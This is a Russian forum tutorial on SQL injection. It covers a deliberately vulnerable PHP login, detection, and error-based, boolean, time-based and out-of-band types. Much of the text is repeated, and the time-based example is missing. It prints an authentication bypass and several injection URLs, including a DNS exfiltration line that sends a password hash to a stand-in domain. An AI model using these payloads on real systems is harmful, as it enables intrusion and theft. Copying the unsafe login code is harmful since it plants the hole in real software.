Tartuga
Местный
- Регистрация
- 19.12.2019
- Сообщения
- 101
- Реакции
- 22
Когда интернет еще только зарождался, первые сайты были простыми: никакого оформления css, ни javascript и тд; ничего этого не было. Но по мере роста популярности Интернета возрастала потребность в более продвинутых технологиях и динамических объектов на веб-сайтах. Это привело к разработке cgi и серверных скриптовых языков, таких как ASP, JSP и PHP. Поэтому появилась потребность в хранение всего пользовательского ввода и содержимого сайта в базах данных для удобного доступа ко всей информации и администрирования ресурса. Поэтому каждый популярный язык на стороне сервера добавляет поддержку баз данных SQL(язык для общения бд, если так можно выразиться).
Итак, уязвимость SQL Injection - это опасная уязвимость, которая возникает из-за недостаточной фильтрации вводимых пользователем данных, что позволяет модифицировать запросы к базам данных. Грубо говоря, можно внедрить некий SQL-код, который сервер обработает и выдаст ответ. Используя уязвимость SQL Injection, учитывая правильные обстоятельства, злоумышленник может использовать ее для обхода механизмов аутентификации и авторизации веб-приложения и получения содержимого всей базы данных. SQL Injection также может использоваться для добавления, изменения и удаления записей в базе данных, что влияет на целостность данных.
Как работает SQL Injection?!
Для того, чтобы ответить на данный вопрос, обратимся к абстрактному сайту, на котором существует некий контент под хайдом, доступный только польователям с премиумной подпиской. И этот сайт имеет, к примеру, проверку логина и пароля, на php следующего вида:
Итак, сформированный запрос sql для авторизации в данном случае имеет следующий вид:
SELECT * FROM $tbl_name WHERE username='$username' and password='$password'
И так как пользователь веб-сайта может изменять значения «$username» и «$ password», то злоумышленник может легко встроитьь любой специальный синтаксис SQL внутрь оператора.
Для осуществления нашей атаки пропишем в наш запрос вместо $username' admin’ OR 1=1
Обнаружение уязвимости
Как я уже выше писал, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка — это не фильтрация передаваемого id.
Обнаружить можно с помощью подставления кавычек к числовому и строковому входящему параметру, к примеру. Если скрипт выведет ошибку, то уязвимость найдена.
Типы SQL-инъекций
1)SQL-инъекция на основе ошибок:
С помощью данной инъекции можно извлекать информацию баз данных.
Пример SQL-инъекции на основе ошибок:
2)Булевая SQL-инъекция
Когда SQL-запрос не проходит, иногда некоторые части веб-страницы исчезают или меняются, или весь сайт может не загружаться. Эти показания позволяют злоумышленникам определить, является ли входной параметр уязвимым и позволяет ли он извлекать данные.
Атакующие могут проверить это, вставив условие в SQL-запрос:
Если страница загружается как обычно, это может указывать на то, что она уязвима для SQL-инъекции.
пример булевой SQL-инъекции
3)Временнáя SQL-инъекция
В случаях, когда уязвимый SQL-запрос не показывает никакого видимого вывода страницы, все равно можно извлечь информацию из базы данных.
Злоумышленники определяют уязвимость по времени загрузки страницы, заставляя базу данных не отвечать какое-то время. Если страница не уязвима, она будет загружаться быстро, если она уязвима, для загрузки потребуется продолжительное. Это позволяет извлекать данные, даже если на странице нет видимых изменений.
(синтаксис похож на булевый тип за исключением того, что вместо истинности прописывается время ожидания бд)
пример:
4)Out-of-Band SQL Injection
В этом методе используется вторичный или другой канал связи для вывода результатов запросов, запущенных в уязвимом приложении. Например, вставка выполняется в веб-приложение, а вторичный канал, такой как DNS-запросы, используется для пересылки данных обратно на домен злоумышленника.
пример:
Итак, уязвимость SQL Injection - это опасная уязвимость, которая возникает из-за недостаточной фильтрации вводимых пользователем данных, что позволяет модифицировать запросы к базам данных. Грубо говоря, можно внедрить некий SQL-код, который сервер обработает и выдаст ответ. Используя уязвимость SQL Injection, учитывая правильные обстоятельства, злоумышленник может использовать ее для обхода механизмов аутентификации и авторизации веб-приложения и получения содержимого всей базы данных. SQL Injection также может использоваться для добавления, изменения и удаления записей в базе данных, что влияет на целостность данных.
Как работает SQL Injection?!
Для того, чтобы ответить на данный вопрос, обратимся к абстрактному сайту, на котором существует некий контент под хайдом, доступный только польователям с премиумной подпиской. И этот сайт имеет, к примеру, проверку логина и пароля, на php следующего вида:
$putin = "SELECT * FROM $tbl_name WHERE username='$username' and password='$password'";
$putout = mysql_db_query($putin);
$tax = mysql_num_rows($putout);
if($tax==1) {
session_register("username");
session_register("password");
header("location:login_success.php");
}
else {
echo "bottle";
}
Итак, сформированный запрос sql для авторизации в данном случае имеет следующий вид:
SELECT * FROM $tbl_name WHERE username='$username' and password='$password'
И так как пользователь веб-сайта может изменять значения «$username» и «$ password», то злоумышленник может легко встроитьь любой специальный синтаксис SQL внутрь оператора.
Для осуществления нашей атаки пропишем в наш запрос вместо $username' admin’ OR 1=1
$putin = "SELECT * FROM $tbl_name WHERE username='denegnet'--'and password='anything'";
И поскольку в комментарии осталась закрывающая кавычка, то она также была введена с именем пользователя, чтобы не сломать синтаксис и не вызвать ошибку, в результате, фактически, к базе данных делался следующий запрос:-- инструктирует синтаксический анализатор SQL, что остальная часть строки является комментарием и не должна выполняться.
$putin = "SELECT * FROM $tbl_name WHERE username='denegnet'
Обнаружение уязвимости
Как я уже выше писал, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка — это не фильтрация передаваемого id.
Обнаружить можно с помощью подставления кавычек к числовому и строковому входящему параметру, к примеру. Если скрипт выведет ошибку, то уязвимость найдена.
Типы SQL-инъекций
1)SQL-инъекция на основе ошибок:
С помощью данной инъекции можно извлекать информацию баз данных.
Пример SQL-инъекции на основе ошибок:
https://example.com/index.php?id=1+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
2)Булевая SQL-инъекция
Когда SQL-запрос не проходит, иногда некоторые части веб-страницы исчезают или меняются, или весь сайт может не загружаться. Эти показания позволяют злоумышленникам определить, является ли входной параметр уязвимым и позволяет ли он извлекать данные.
Атакующие могут проверить это, вставив условие в SQL-запрос:
Если страница загружается как обычно, это может указывать на то, что она уязвима для SQL-инъекции.
пример булевой SQL-инъекции
https://example.com/index.php?id= 1+AND+IF(version()+LIKE+'5%',true,false)
3)Временнáя SQL-инъекция
В случаях, когда уязвимый SQL-запрос не показывает никакого видимого вывода страницы, все равно можно извлечь информацию из базы данных.
Злоумышленники определяют уязвимость по времени загрузки страницы, заставляя базу данных не отвечать какое-то время. Если страница не уязвима, она будет загружаться быстро, если она уязвима, для загрузки потребуется продолжительное. Это позволяет извлекать данные, даже если на странице нет видимых изменений.
(синтаксис похож на булевый тип за исключением того, что вместо истинности прописывается время ожидания бд)
пример:
4)Out-of-Band SQL Injection
В этом методе используется вторичный или другой канал связи для вывода результатов запросов, запущенных в уязвимом приложении. Например, вставка выполняется в веб-приложение, а вторичный канал, такой как DNS-запросы, используется для пересылки данных обратно на домен злоумышленника.
пример:
https://example.com/index.php?id=1+AND+(SELECT+LOAD_FILE(concat('\\\\',(SELECT @@version),'example.com\\')))
https://www.example.com/index.php?query=declare @pass nvarchar(100);SELECT @pass=(SELECT TOP 1 password_hash FROM users);exec('xp_fileexist ''\\' + @pass + '.example.com\c$\boot.ini''')